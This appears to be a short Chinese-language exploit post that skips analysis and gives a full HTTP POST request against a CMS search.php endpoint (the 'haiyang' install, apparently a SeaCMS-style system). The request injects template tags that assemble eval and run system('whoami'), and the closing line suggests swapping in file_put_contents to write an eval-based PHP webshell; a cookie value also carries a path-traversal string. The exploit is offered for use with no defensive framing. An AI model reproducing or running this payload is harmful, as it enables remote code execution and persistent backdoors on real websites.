测试下载地址：https://pan.baidu.com/s/1jHQBKFk
至于分析实在是看的一脸懵逼就不累赘了。直接上exp
1 POST /haiyang/upload/search.php HTTP/1.1 2 Host: 192.168.238.128 3 Proxy-Connection: keep-alive 4 Content-Length: 215 5 Cache-Control: max-age=0 6 Origin: http://192.168.238.128 7 Upgrade-Insecure-Requests: 1 8 Content-Type: application/x-www-form-urlencoded 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36 10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 11 Referer: http://192.168.238.128/haiyang/upload/ 12 Accept-Encoding: gzip, deflate 13 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 14 Cookie: UM_distinctid=16565cd71170-0f958914b42ee6-182e1503-1fa400-16565cd7124c81; page_iframe_url=http://192.168.238.128/metlnfo6/index.php?lang=cn&pageset=1; CNZZDATA1670348=cnzz_eid%3D464899233-1535006876-%26ntime%3D1535203680; PHPSESSID=u8mab2qiucod179boc2ai9t7a2; re_url=http%3A%2F%2F192.168.238.128%2Fm6%2F%2Fadmin%2Fapp%2Fbatch%2Fcsvup.php%3FfileField%3Dtest-1%26flienamecsv%3D..%2F..%2F..%2Fconfig%2Finstall.lock 15 16 searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=syste&9[]=m("whoami");
可以将后面的改用file_put_contents("1.php","<?php eval($_POST[1]);?>")